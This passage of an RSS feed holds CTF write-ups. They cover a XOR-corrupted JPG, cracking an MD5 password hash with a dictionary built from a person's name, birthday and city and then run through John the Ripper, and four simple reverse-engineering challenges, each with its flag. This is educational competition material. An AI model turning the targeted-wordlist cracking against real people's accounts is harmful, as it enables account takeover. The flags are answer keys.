src="https://cdn-images-1.medium.com/max/1024/1*ExeaV19CnUy5vzbA-3eQwQ.png" /><figcaption>description</figcaption></figure><p>La description nous indique déjà que le fichier corrompu est un fichier JPG. En effectuant des recherches sur les magic bytes des fichiers JPG, nous pouvons essayer de trouver la clé qui a été utilisée pour corrompre le fichier. Nous essayons donc une opération XOR byte par byte entre un fichier JPG valide et le fichier corrompu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*4mLHoz2y47nR25k-_vjJpA.png" /><figcaption>diff octets</figcaption></figure><p>Il suffit de XORER les bytes 1 à 1pour avoir la clé, Faisable en script , manuellement ou sur un outil en ligne. Cela nous donne la clé “HackingJEI”. En appliquant cette clé au fichier JPG corrompu, nous obtenons notre image de flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*6M8TlHl2y4HLp89xT5VvNA.jpeg" /><figcaption>fichier corrigé</figcaption></figure><h4>Flag: JEI{x0r1ng_jpG_kn0wing_k3y}</h4><p>#jei, #202, #april, #minictf</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eaa1ae6765ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CAFCTF2024 , Cryto Nini ( or Crypto Mini ) write-up]]></title>
            <link>https://medium.com/@z0rhack/cafctf2024-cryto-nini-or-crypto-mini-write-up-ada4fd0df13a?source=rss-4327296bc802------2</link>
            <guid isPermaLink="false">https://medium.com/p/ada4fd0df13a</guid>
            <dc:creator><![CDATA[abyyolab]]></dc:creator>
            <pubDate>Thu, 11 Apr 2024 09:17:32 GMT</pubDate>
            <atom:updated>2024-04-11T09:17:32.480Z</atom:updated>
            <content:encoded><![CDATA[<h3>CAFCTF2024 , Cryto Nini ( or Crypto Mini ) write-up</h3><p>This is my write-up for the Crypto Nini challenge of CAFCTF2024, a very interesting challenge.</p><p>This challenge requires a deep analysis, out-of-the-box thinking, and an understanding of the challenge’s context. Let’s dive into it !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*3mVAHebrhVpk5J6TNxy6Rw.png" /><figcaption>Challenge Description</figcaption></figure><p>This challenge was very fun and interesting, and it was certainly my favorite challenge in this CTF. When reading the challenge description, I noticed that they provided a lot of details about the person in question, including their name, birthday, etc and they also give the md5 hash of the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*9z9vgOuCc1_Bc0pRRG_4dQ.png" /><figcaption>hash identification</figcaption></figure><p>My initial thought was to use a brute-force attack with the rockyou.txt wordlist to see if any of the hashes would match the given one. However, after carefully considering the provided details, I decided to take a different approach. I will explain the approaches I used before finding the right one.</p><p>Firstly, I used crunch to generate a dictionary of words with lengths between 1 and 4 characters and attempted to brute-force the hashes, but I found nothing. After, I also considered the common security advice to use passwords of at least 8 characters in length, so I re-ran crunch to generate the dictionary. However, to my surprise, it was going to generate over 377 billion words! I waited for some time, but the generation process was not ending, and my computer started to overheat and bugging, so I stopped the generation process to think of a more intelligent approach</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*jJ4-UXKW2YBcS6cn_vLtcw.png" /><figcaption>1–4 nothing found after cracking them with john</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*nW4xCtGv-G25RgfoOSv-Dw.png" /><figcaption>377 801 998 336 words and 3166 GB memory usage 🤕 🤔 , WTF</figcaption></figure><p>After reconsidering, I came up with the approach that ultimately led me to the flag.</p><p>Firstly, I reread the challenge description and thought about concatenating all the enumerated detail words while keeping their case intact to make a dico. I then launched the hash cracking process on this dictionary. The words were “Patisangana, KEN, 25, 1, January, Janvier, 2019, Abidjan”. This approach proved successful in obtaining the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*pmg8GI5WSMg591Zh6fJi-Q.png" /><figcaption>Detail</figcaption></figure><p>The script for concatenating them in different sizes, and their association, permutation in the dictionary is…</p><pre>import itertools<br>import random<br><br>mots = [&quot;Patisangana&quot;, &quot;KEN&quot;, &quot;Abidjan&quot;, &quot;January&quot;, &quot;Janvier&quot;]<br>chiffres = [&quot;25&quot;, &quot;1&quot;, &quot;2019&quot;]<br><br>tous_mots = mots + chiffres<br><br>toutes_permutations = []<br>for r in range(1, len(tous_mots) + 1):<br>    for perm in itertools.permutations(tous_mots, r):<br>        toutes_permutations.append(&#39;&#39;.join(perm))<br><br>random.shuffle(toutes_permutations)<br><br>with open(&#39;dictionnaire.txt&#39;, &#39;w&#39;) as f:<br>    for perm in toutes_permutations:<br>        f.write(perm + &#39;\n&#39;)<br><br>print(&quot;Dictionnaire done !&quot;)</pre><p>After obtaining my dictionary, I then launched John on it, and in a matter of seconds, it cracked the hash and gave me the related password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*UmbLx25DqUVKyehmy2YJNA.png" /><figcaption>generation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*q_Rw8qv7SJRhUf1YJ_PTjQ.png" /><figcaption>cracking with john</figcaption></figure><p>The John command is valid, but cracking doesn’t occur again because I already did it, and ‘john --show’ is giving a shitty output. So, another alternative to do it is…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5RCfxu_JV70Rna1sZzmRg.png" /><figcaption>custom cracking and checking</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*mRnYKwBKlvMYZ965hXFVgQ.png" /><figcaption>greping the line of the password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*fOGCkBZWxrY_-YyX7XwIXA.png" /><figcaption>checking if the hash is really of the word</figcaption></figure><p>And voila , the password related to the hash is “<strong>KENAbidjan25January2019Patisangana</strong>” .</p><h4>Flag: CAF_{KENAbidjan25January2019Patisangana}</h4><p>Thanks for reading !</p><p>#crypto,#cryto_nini,#cafctf2024</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ada4fd0df13a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CAFCTF 2024 Reverse Challs Writeups]]></title>
            <link>https://medium.com/@z0rhack/cafctf-2024-reverse-challs-writeups-f41827b9fc8d?source=rss-4327296bc802------2</link>
            <guid isPermaLink="false">https://medium.com/p/f41827b9fc8d</guid>
            <category><![CDATA[cafctf]]></category>
            <category><![CDATA[fca]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[abyyolab]]></dc:creator>
            <pubDate>Wed, 10 Apr 2024 11:09:14 GMT</pubDate>
            <atom:updated>2024-04-10T11:11:26.175Z</atom:updated>
            <content:encoded><![CDATA[<p>My teammate and I managed to complete 26 out of 27 challenges given in this above one-week-long CTF. In the following lines, I will present my write-up for the four valid Rev challenges for which I managed to achieve first blood four times :-).</p><p><strong><em>Don’t Look Away , 50 pts</em></strong></p><p>We were given a python compiled file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*fSURZrQgPO6IH5JX9khl3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZElT1F3QTy8JoTYyMZT-Q.png" /></figure><p>This chall was pretty easy. Just go to this website “<a href="https://www.lddgo.net/en/string/pyc-compile-decompile">https://www.lddgo.net/en/string/pyc-compile-decompile</a> “ to decompyle the .pyc file witch give me the password. And voila , go the flag !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YZJGANnTDhvj5HvfHyZSQ.png" /></figure><h4>Flag : CAF_{Enter the password}</h4><p><strong><em>The basics</em></strong></p><p>We were provided an assembly code file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*wdj5DtGvTyePsixwlEtmqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*roCgyUV731NeAWJTWiQKiQ.png" /><figcaption>Content</figcaption></figure><p>Analysing the file content , we see that it perform just a basic XOR operation between two initialized arrays of hex values index by index.</p><p>So, it was also pretty easy. The solution in Python is:</p><pre>hex_num1 = [0x40, 0x23, 0x63, 0xa5, 0xbd, 0x52, 0x3c, 0x89, 0xac, 0x9f, 0x56, 0x85, 0x82 ]<br>hex_num2 = [ 0x01, 0x70, 0x30, 0xe0, 0xf0, 0x10, 0x70, 0xd0, 0xe0, 0xd0, 0x00, 0xc0, 0xd0]<br><br>Flag = &#39;CAF_{&#39;+ &#39;&#39;.join(chr(i^j) for i,j in zip(hex_num1,hex_num2))+&#39;}&#39;<br><br>print(Flag)<br></pre><h4>Flag: CAF_{ASSEMBLYLOVER}</h4><p><strong><em>Easy Problem, 50pts</em></strong></p><p>We were given a linux elf x64 executable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*Yc-7uHrR40lm8AelDfpX_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK0jneyn47tv70S5ym9WsA.png" /></figure><p>So we see that this was an elf file, but before going to analyze it with a decompiler , I just try strings on it to see if it will give me something relevant and like i thought, it does . Haha ! So we got a key in Hex , Just decoding it , give us the flag. This chall should’ve be more complited !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*TUdy0OEVs-4ZxTRdVpArHw.png" /><figcaption>strings -10 problem5.unknown</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*99XTVnkxOdh6WvbWUcjqhg.png" /><figcaption>From hex</figcaption></figure><h4>Flag : CAF_{EASYEASY}</h4><p><strong><em>Mad Math, 75pts</em></strong></p><p>My most liked chall, very interesting and technical .</p><p>For this , they gave us a windows executable. but I just didn’t want to run it. Instead, I performed some static analysis on Ghidra to understand how it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*zVw1dws0uY-lXtK6Z2rgUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*sP5he4c4UF61mBPDd0wsMg.png" /></figure><p>Opening it on Ghidra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HF8jILJWqXlrMW4n_H4CGQ.png" /><figcaption>Main</figcaption></figure><p>We see that the main program asks for two numbers and then performs some operation and function parsing to check the resulting number. If it’s correct, it outputs ‘Wowo…CAF_{‘ followed by the correct number and ‘}’ as the flag. If the given integers are not correct, it outputs the fail message ‘Oops…Again’ .</p><p>We also note that a function named sumOfDigits(), which is very important, is called to perform additional tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVBY_VgezlCt8yw-S3CCvQ.png" /><figcaption>sumOfDigits</figcaption></figure><p>So, this function receives one long integer argument from the main and performs some looping, basic division, multiplication, and addition. At the end, it returns the result multiplied by 2931 (0xb73).</p><p>The exploit to reverse and simulate the main() fonction operation and the sumOfDigit () function i wrote is :</p><pre><br>number_1=159<br>number_2=15<br><br>local_20=number_1*number_2<br><br>def sumOfDigits(param_1):<br>        local_10 = 0<br>        local_res8 = param_1<br>        while local_res8 &gt; 0:<br>                iVar2 = int(local_res8) + int(local_res8 / 10) * -10<br>                local_10 = local_10 + iVar2 + iVar2 + iVar2 + iVar2 + iVar2 + iVar2 + iVar2<br>                local_res8 = int(local_res8 / 10)<br>        return local_10*0xb73 # 0xb73 = 2931<br><br>ivar1=sumOfDigits(local_20*0xa20089b) # 0xa20089b = 169871515<br><br>local_28=ivar1<br><br>finalNumber = sumOfDigits(local_20*local_28)<br><br><br>print(&#39;CAF_{&#39;+str(finalNumber)+&#39;}&#39;)</pre><p>The numbers for the calculations are provided in the challenge description (159 and 15).</p><p>And voila,</p><h4><em>Flag : CAF_{738612}</em></h4><p>Thanks for reading , stay turned for other post !</p><p>#caf, #ctf, #cafctf2024, #reverse, #cafrev, #challenge, #2024, #cafctf_rev_challs</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f41827b9fc8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>